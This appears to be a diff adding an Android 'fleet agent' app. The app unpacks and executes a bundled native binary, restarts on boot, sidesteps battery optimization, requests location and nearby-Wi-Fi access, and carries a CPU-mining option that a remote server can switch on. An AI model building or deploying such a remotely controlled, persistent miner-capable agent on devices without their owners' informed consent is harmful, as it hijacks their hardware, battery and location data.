set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
set EXIT_CODE=%ERRORLEVEL%
|
||||||
|
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||||
|
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||||
|
exit /b %EXIT_CODE%
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
||||||
17
android/agent-app/settings.gradle.kts
Normal file
17
android/agent-app/settings.gradle.kts
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
pluginManagement {
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencyResolutionManagement {
|
||||||
|
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rootProject.name = "aetherforge-agent"
|
||||||
49
android/agent-app/src/main/AndroidManifest.xml
Normal file
49
android/agent-app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||||
|
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||||
|
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
|
||||||
|
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:allowBackup="false"
|
||||||
|
android:icon="@mipmap/ic_launcher"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/Theme.AetherForgeAgent">
|
||||||
|
|
||||||
|
<activity
|
||||||
|
android:name=".MainActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:launchMode="singleTask">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
<service
|
||||||
|
android:name=".AgentService"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="false"
|
||||||
|
android:foregroundServiceType="dataSync" />
|
||||||
|
|
||||||
|
<receiver
|
||||||
|
android:name=".BootReceiver"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
</application>
|
||||||
|
</manifest>
|
||||||
1
android/agent-app/src/main/assets/agent.placeholder
Normal file
1
android/agent-app/src/main/assets/agent.placeholder
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Placeholder — replaced by build-apk script with linux/arm64 agent binary at assets/agent.
|
||||||
11
android/agent-app/src/main/assets/config.json
Normal file
11
android/agent-app/src/main/assets/config.json
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
{
|
||||||
|
"build_id": "android-dev",
|
||||||
|
"fleet_secret_set": false,
|
||||||
|
"mining": {
|
||||||
|
"enabled": false,
|
||||||
|
"mode": "idle",
|
||||||
|
"note": "CPU mining disabled by default; enable via server policy or re-forge."
|
||||||
|
},
|
||||||
|
"server_url": "http://test:8989",
|
||||||
|
"worker_name": "test-node"
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import org.json.JSONObject
|
||||||
|
|
||||||
|
data class AgentConfig(
|
||||||
|
val workerName: String,
|
||||||
|
val serverUrl: String,
|
||||||
|
val fleetSecret: String?,
|
||||||
|
val miningEnabled: Boolean,
|
||||||
|
val buildId: String,
|
||||||
|
) {
|
||||||
|
companion object {
|
||||||
|
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
|
||||||
|
val assetJson = runCatching {
|
||||||
|
context.assets.open("config.json").bufferedReader().use { it.readText() }
|
||||||
|
}.getOrNull()
|
||||||
|
|
||||||
|
val json = assetJson?.let { JSONObject(it) }
|
||||||
|
val worker = intentExtras["worker_name"]
|
||||||
|
?: json?.optString("worker_name").orEmpty()
|
||||||
|
val server = intentExtras["server_url"]
|
||||||
|
?: json?.optString("server_url").orEmpty()
|
||||||
|
val secret = intentExtras["fleet_secret"]
|
||||||
|
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
|
||||||
|
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
|
||||||
|
val buildId = json?.optString("build_id") ?: "android-dev"
|
||||||
|
|
||||||
|
return AgentConfig(
|
||||||
|
workerName = worker.ifBlank { "android-fleet-node" },
|
||||||
|
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
|
||||||
|
fleetSecret = secret,
|
||||||
|
miningEnabled = mining,
|
||||||
|
buildId = buildId,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.util.Log
|
||||||
|
import java.io.File
|
||||||
|
|
||||||
|
object AgentProcess {
|
||||||
|
private const val TAG = "AetherForge"
|
||||||
|
@Volatile
|
||||||
|
private var process: Process? = null
|
||||||
|
|
||||||
|
fun start(binary: File, filesDir: File, config: AgentConfig) {
|
||||||
|
stop()
|
||||||
|
val env = hashMapOf(
|
||||||
|
"HOME" to filesDir.absolutePath,
|
||||||
|
"TMPDIR" to filesDir.absolutePath,
|
||||||
|
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
|
||||||
|
)
|
||||||
|
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
|
||||||
|
|
||||||
|
val cmd = listOf(binary.absolutePath, "--run")
|
||||||
|
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
|
||||||
|
|
||||||
|
val pb = ProcessBuilder(cmd)
|
||||||
|
.directory(filesDir)
|
||||||
|
.redirectErrorStream(true)
|
||||||
|
val merged = pb.environment()
|
||||||
|
merged.putAll(env)
|
||||||
|
|
||||||
|
process = pb.start()
|
||||||
|
Thread({
|
||||||
|
process?.inputStream?.bufferedReader()?.use { reader ->
|
||||||
|
reader.lineSequence().forEach { line ->
|
||||||
|
Log.i("$TAG:agent", line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, "agent-log-drain").apply {
|
||||||
|
isDaemon = true
|
||||||
|
start()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun stop() {
|
||||||
|
process?.let {
|
||||||
|
runCatching { it.destroy() }
|
||||||
|
runCatching { it.waitFor() }
|
||||||
|
}
|
||||||
|
process = null
|
||||||
|
}
|
||||||
|
|
||||||
|
fun isAlive(): Boolean = process?.isAlive == true
|
||||||
|
}
|
||||||
@@ -0,0 +1,114 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.app.Notification
|
||||||
|
import android.app.NotificationChannel
|
||||||
|
import android.app.NotificationManager
|
||||||
|
import android.app.PendingIntent
|
||||||
|
import android.app.Service
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.pm.ServiceInfo
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.IBinder
|
||||||
|
import android.util.Log
|
||||||
|
import androidx.core.app.NotificationCompat
|
||||||
|
|
||||||
|
class AgentService : Service() {
|
||||||
|
companion object {
|
||||||
|
private const val TAG = "AetherForge"
|
||||||
|
const val ACTION_START = "com.aetherforge.agent.START"
|
||||||
|
const val NOTIFICATION_ID = 41001
|
||||||
|
private const val CHANNEL_ID = "fleet_sync"
|
||||||
|
|
||||||
|
fun start(context: Context, extras: Intent? = null) {
|
||||||
|
val intent = Intent(context, AgentService::class.java).apply {
|
||||||
|
action = ACTION_START
|
||||||
|
extras?.extras?.let { putExtras(it) }
|
||||||
|
}
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
|
context.startForegroundService(intent)
|
||||||
|
} else {
|
||||||
|
context.startService(intent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onBind(intent: Intent?): IBinder? = null
|
||||||
|
|
||||||
|
override fun onCreate() {
|
||||||
|
super.onCreate()
|
||||||
|
createNotificationChannel()
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||||
|
val notification = buildNotification()
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||||
|
startForeground(
|
||||||
|
NOTIFICATION_ID,
|
||||||
|
notification,
|
||||||
|
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
startForeground(NOTIFICATION_ID, notification)
|
||||||
|
}
|
||||||
|
|
||||||
|
val config = AgentConfig.load(
|
||||||
|
this,
|
||||||
|
mapOf(
|
||||||
|
"worker_name" to intent?.getStringExtra("worker_name"),
|
||||||
|
"server_url" to intent?.getStringExtra("server_url"),
|
||||||
|
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
|
||||||
|
|
||||||
|
val binary = BinaryExtractor.ensureBinary(this)
|
||||||
|
if (binary == null) {
|
||||||
|
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
|
||||||
|
stopSelf()
|
||||||
|
return START_NOT_STICKY
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!AgentProcess.isAlive()) {
|
||||||
|
AgentProcess.start(binary, filesDir, config)
|
||||||
|
}
|
||||||
|
return START_STICKY
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDestroy() {
|
||||||
|
AgentProcess.stop()
|
||||||
|
super.onDestroy()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun createNotificationChannel() {
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
|
||||||
|
val mgr = getSystemService(NotificationManager::class.java)
|
||||||
|
val channel = NotificationChannel(
|
||||||
|
CHANNEL_ID,
|
||||||
|
getString(R.string.notification_channel_name),
|
||||||
|
NotificationManager.IMPORTANCE_LOW,
|
||||||
|
).apply {
|
||||||
|
description = getString(R.string.notification_channel_desc)
|
||||||
|
setShowBadge(false)
|
||||||
|
}
|
||||||
|
mgr.createNotificationChannel(channel)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildNotification(): Notification {
|
||||||
|
val pending = PendingIntent.getActivity(
|
||||||
|
this,
|
||||||
|
0,
|
||||||
|
Intent(this, MainActivity::class.java),
|
||||||
|
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
|
||||||
|
)
|
||||||
|
return NotificationCompat.Builder(this, CHANNEL_ID)
|
||||||
|
.setContentTitle(getString(R.string.notification_title))
|
||||||
|
.setContentText(getString(R.string.notification_body))
|
||||||
|
.setSmallIcon(R.drawable.ic_launcher_foreground)
|
||||||
|
.setContentIntent(pending)
|
||||||
|
.setOngoing(true)
|
||||||
|
.setPriority(NotificationCompat.PRIORITY_LOW)
|
||||||
|
.setCategory(NotificationCompat.CATEGORY_SERVICE)
|
||||||
|
.build()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
import java.io.File
|
||||||
|
import java.io.FileOutputStream
|
||||||
|
|
||||||
|
object BinaryExtractor {
|
||||||
|
private const val TAG = "AetherForge"
|
||||||
|
private const val ASSET_NAME = "agent"
|
||||||
|
private const val BIN_NAME = "agent-arm64"
|
||||||
|
|
||||||
|
fun ensureBinary(context: Context): File? {
|
||||||
|
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
||||||
|
val outFile = File(outDir, BIN_NAME)
|
||||||
|
val assetSize = assetSize(context)
|
||||||
|
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
|
||||||
|
outFile.setExecutable(true, false)
|
||||||
|
outFile.setReadable(true, false)
|
||||||
|
return outFile
|
||||||
|
}
|
||||||
|
return extract(context, outFile)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun assetSize(context: Context): Long {
|
||||||
|
return runCatching {
|
||||||
|
context.assets.openFd(ASSET_NAME).use { it.length }
|
||||||
|
}.getOrDefault(0L)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun extract(context: Context, outFile: File): File? {
|
||||||
|
return try {
|
||||||
|
context.assets.open(ASSET_NAME).use { input ->
|
||||||
|
FileOutputStream(outFile).use { output ->
|
||||||
|
input.copyTo(output)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outFile.setExecutable(true, false)
|
||||||
|
outFile.setReadable(true, false)
|
||||||
|
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
|
||||||
|
outFile
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "failed to extract agent binary", e)
|
||||||
|
null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.content.BroadcastReceiver
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.util.Log
|
||||||
|
|
||||||
|
class BootReceiver : BroadcastReceiver() {
|
||||||
|
override fun onReceive(context: Context, intent: Intent?) {
|
||||||
|
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
|
||||||
|
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
|
||||||
|
AgentService.start(context.applicationContext)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.Manifest
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.pm.PackageManager
|
||||||
|
import android.net.Uri
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.PowerManager
|
||||||
|
import android.provider.Settings
|
||||||
|
import android.widget.Button
|
||||||
|
import android.widget.LinearLayout
|
||||||
|
import android.widget.TextView
|
||||||
|
import android.widget.Toast
|
||||||
|
import androidx.activity.result.contract.ActivityResultContracts
|
||||||
|
import androidx.appcompat.app.AppCompatActivity
|
||||||
|
import androidx.core.content.ContextCompat
|
||||||
|
|
||||||
|
class MainActivity : AppCompatActivity() {
|
||||||
|
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
||||||
|
private lateinit var pendingPermissions: List<String>
|
||||||
|
|
||||||
|
private val permissionLauncher =
|
||||||
|
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
||||||
|
val denied = results.filterValues { !it }.keys
|
||||||
|
if (denied.isNotEmpty()) {
|
||||||
|
Toast.makeText(
|
||||||
|
this,
|
||||||
|
"Some permissions were denied — fleet diagnostics may be limited.",
|
||||||
|
Toast.LENGTH_LONG,
|
||||||
|
).show()
|
||||||
|
}
|
||||||
|
requestNextPermissionBatch()
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
setContentView(buildLayout())
|
||||||
|
|
||||||
|
if (!prefs.getBoolean("permissions_requested", false)) {
|
||||||
|
prefs.edit().putBoolean("permissions_requested", true).apply()
|
||||||
|
beginPermissionFlow()
|
||||||
|
} else {
|
||||||
|
startFleetService()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildLayout(): LinearLayout {
|
||||||
|
val pad = (24 * resources.displayMetrics.density).toInt()
|
||||||
|
return LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.VERTICAL
|
||||||
|
setPadding(pad, pad, pad, pad)
|
||||||
|
addView(TextView(context).apply {
|
||||||
|
text = getString(R.string.permission_intro_title)
|
||||||
|
textSize = 22f
|
||||||
|
setTextColor(0xFFE2E8F0.toInt())
|
||||||
|
})
|
||||||
|
addView(TextView(context).apply {
|
||||||
|
text = getString(R.string.permission_intro_body)
|
||||||
|
textSize = 15f
|
||||||
|
setTextColor(0xFF94A3B8.toInt())
|
||||||
|
setPadding(0, pad / 2, 0, pad)
|
||||||
|
})
|
||||||
|
addView(TextView(context).apply {
|
||||||
|
text = getString(R.string.battery_hint)
|
||||||
|
textSize = 14f
|
||||||
|
setTextColor(0xFF64748B.toInt())
|
||||||
|
setPadding(0, 0, 0, pad)
|
||||||
|
})
|
||||||
|
addView(Button(context).apply {
|
||||||
|
text = getString(R.string.open_battery_settings)
|
||||||
|
setOnClickListener { openBatteryOptimizationSettings() }
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun requiredRuntimePermissions(): List<String> {
|
||||||
|
val perms = mutableListOf<String>()
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||||
|
perms += Manifest.permission.POST_NOTIFICATIONS
|
||||||
|
perms += Manifest.permission.NEARBY_WIFI_DEVICES
|
||||||
|
}
|
||||||
|
perms += Manifest.permission.ACCESS_FINE_LOCATION
|
||||||
|
perms += Manifest.permission.ACCESS_COARSE_LOCATION
|
||||||
|
return perms.filter {
|
||||||
|
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun beginPermissionFlow() {
|
||||||
|
pendingPermissions = requiredRuntimePermissions()
|
||||||
|
if (pendingPermissions.isEmpty()) {
|
||||||
|
openBatteryOptimizationSettings()
|
||||||
|
startFleetService()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
permissionLauncher.launch(pendingPermissions.toTypedArray())
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun requestNextPermissionBatch() {
|
||||||
|
openBatteryOptimizationSettings()
|
||||||
|
startFleetService()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun openBatteryOptimizationSettings() {
|
||||||
|
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
||||||
|
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
|
||||||
|
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
|
||||||
|
data = Uri.parse("package:$packageName")
|
||||||
|
}
|
||||||
|
runCatching { startActivity(intent) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startFleetService() {
|
||||||
|
val serviceIntent = Intent(this, AgentService::class.java).apply {
|
||||||
|
action = AgentService.ACTION_START
|
||||||
|
intent?.extras?.let { putExtras(it) }
|
||||||
|
}
|
||||||
|
AgentService.start(this, serviceIntent)
|
||||||
|
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:width="108dp"
|
||||||
|
android:height="108dp"
|
||||||
|
android:viewportWidth="108"
|
||||||
|
android:viewportHeight="108">
|
||||||
|
<path
|
||||||
|
android:fillColor="#22D3EE"
|
||||||
|
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#0F172A"
|
||||||
|
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
|
||||||
|
</vector>
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@color/ic_launcher_background" />
|
||||||
|
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||||
|
</adaptive-icon>
|
||||||
3
android/agent-app/src/main/res/mipmap/ic_launcher.xml
Normal file
3
android/agent-app/src/main/res/mipmap/ic_launcher.xml
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:src="@drawable/ic_launcher_foreground" />
|
||||||
4
android/agent-app/src/main/res/values/colors.xml
Normal file
4
android/agent-app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="ic_launcher_background">#0F172A</color>
|
||||||
|
</resources>
|
||||||
14
android/agent-app/src/main/res/values/strings.xml
Normal file
14
android/agent-app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<string name="app_name">AetherForge Agent</string>
|
||||||
|
<string name="permission_intro_title">Your fleet node</string>
|
||||||
|
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
|
||||||
|
<string name="notification_channel_name">Fleet sync</string>
|
||||||
|
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
|
||||||
|
<string name="notification_title">Fleet sync</string>
|
||||||
|
<string name="notification_body">AetherForge agent connected to command deck</string>
|
||||||
|
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
|
||||||
|
<string name="service_started">Fleet agent service started</string>
|
||||||
|
<string name="service_failed">Could not start fleet agent — see logcat</string>
|
||||||
|
<string name="open_battery_settings">Battery optimization settings</string>
|
||||||
|
</resources>
|
||||||
9
android/agent-app/src/main/res/values/themes.xml
Normal file
9
android/agent-app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
|
||||||
|
<item name="android:statusBarColor">#111827</item>
|
||||||
|
<item name="android:navigationBarColor">#111827</item>
|
||||||
|
<item name="android:windowBackground">#111827</item>
|
||||||
|
<item name="colorPrimary">#22d3ee</item>
|
||||||
|
</style>
|
||||||
|
</resources>
|
||||||
88
android/build-apk.ps1
Normal file
88
android/build-apk.ps1
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
# AetherForge Android Agent APK — compile embedded agent + assembleDebug
|
||||||
|
param(
|
||||||
|
[string]$ServerUrl = $(if ($env:AETHERFORGE_SERVER_URL) { $env:AETHERFORGE_SERVER_URL } else { "http://127.0.0.1:8989" }),
|
||||||
|
[string]$WorkerName = $(if ($env:AETHERFORGE_WORKER_NAME) { $env:AETHERFORGE_WORKER_NAME } else { "android-fleet-node" }),
|
||||||
|
[string]$FleetSecret = $env:AETHERFORGE_FLEET_SECRET,
|
||||||
|
[string]$BuildId = "android-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||||
|
$RepoRoot = Split-Path -Parent $Root
|
||||||
|
$AgentDir = Join-Path $RepoRoot "agent"
|
||||||
|
$AppDir = Join-Path $Root "agent-app"
|
||||||
|
$AssetsDir = Join-Path $AppDir "src\main\assets"
|
||||||
|
$AgentAsset = Join-Path $AssetsDir "agent"
|
||||||
|
$ConfigAsset = Join-Path $AssetsDir "config.json"
|
||||||
|
$BuiltinPath = Join-Path $AgentDir "config\builtin.go"
|
||||||
|
$BuiltinBackup = Join-Path $AgentDir "config\builtin.go.android-bak"
|
||||||
|
$ApkOut = Join-Path $AppDir "build\outputs\apk\debug\aetherforge-agent.apk"
|
||||||
|
|
||||||
|
function Restore-Builtin {
|
||||||
|
if (Test-Path $BuiltinBackup) {
|
||||||
|
Move-Item -Force $BuiltinBackup $BuiltinPath
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (-not (Get-Command go -ErrorAction SilentlyContinue)) {
|
||||||
|
throw "go compiler not found in PATH"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "==> Baking config (server=$ServerUrl worker=$WorkerName)" -ForegroundColor Cyan
|
||||||
|
Push-Location (Join-Path $Root "forge")
|
||||||
|
$bakeArgs = @(
|
||||||
|
"run", "./cmd/bake",
|
||||||
|
"-server", $ServerUrl,
|
||||||
|
"-worker", $WorkerName,
|
||||||
|
"-build-id", $BuildId,
|
||||||
|
"-config-out", $ConfigAsset,
|
||||||
|
"-builtin-out", $BuiltinPath
|
||||||
|
)
|
||||||
|
if ($FleetSecret) { $bakeArgs += @("-fleet-secret", $FleetSecret) }
|
||||||
|
& go @bakeArgs
|
||||||
|
if ($LASTEXITCODE -ne 0) { throw "bake failed" }
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
if (Test-Path $BuiltinPath) {
|
||||||
|
Copy-Item -Force $BuiltinPath $BuiltinBackup
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "==> Compiling linux/arm64 agent binary" -ForegroundColor Cyan
|
||||||
|
$env:GOOS = "linux"
|
||||||
|
$env:GOARCH = "arm64"
|
||||||
|
$env:CGO_ENABLED = "0"
|
||||||
|
Push-Location $AgentDir
|
||||||
|
& go build -trimpath -ldflags "-s -w" -o $AgentAsset .
|
||||||
|
if ($LASTEXITCODE -ne 0) { throw "go build failed" }
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
$size = (Get-Item $AgentAsset).Length
|
||||||
|
Write-Host " agent binary: $size bytes -> $AgentAsset"
|
||||||
|
|
||||||
|
if (-not $env:ANDROID_HOME -and $env:ANDROID_SDK_ROOT) {
|
||||||
|
$env:ANDROID_HOME = $env:ANDROID_SDK_ROOT
|
||||||
|
}
|
||||||
|
if (-not $env:ANDROID_HOME) {
|
||||||
|
throw "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug"
|
||||||
|
}
|
||||||
|
|
||||||
|
$gradlew = Join-Path $AppDir "gradlew.bat"
|
||||||
|
if (-not (Test-Path $gradlew)) {
|
||||||
|
throw "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "==> Gradle assembleDebug" -ForegroundColor Cyan
|
||||||
|
Push-Location $AppDir
|
||||||
|
& $gradlew assembleDebug --no-daemon
|
||||||
|
if ($LASTEXITCODE -ne 0) { throw "gradle assembleDebug failed" }
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
if (-not (Test-Path $ApkOut)) {
|
||||||
|
throw "APK not found at $ApkOut"
|
||||||
|
}
|
||||||
|
Write-Host "==> APK ready: $ApkOut" -ForegroundColor Green
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
Restore-Builtin
|
||||||
|
}
|
||||||
74
android/build-apk.sh
Normal file
74
android/build-apk.sh
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# AetherForge Android Agent APK — compile embedded agent + assembleDebug
|
||||||
|
set -euo pipefail
|
||||||
|
|
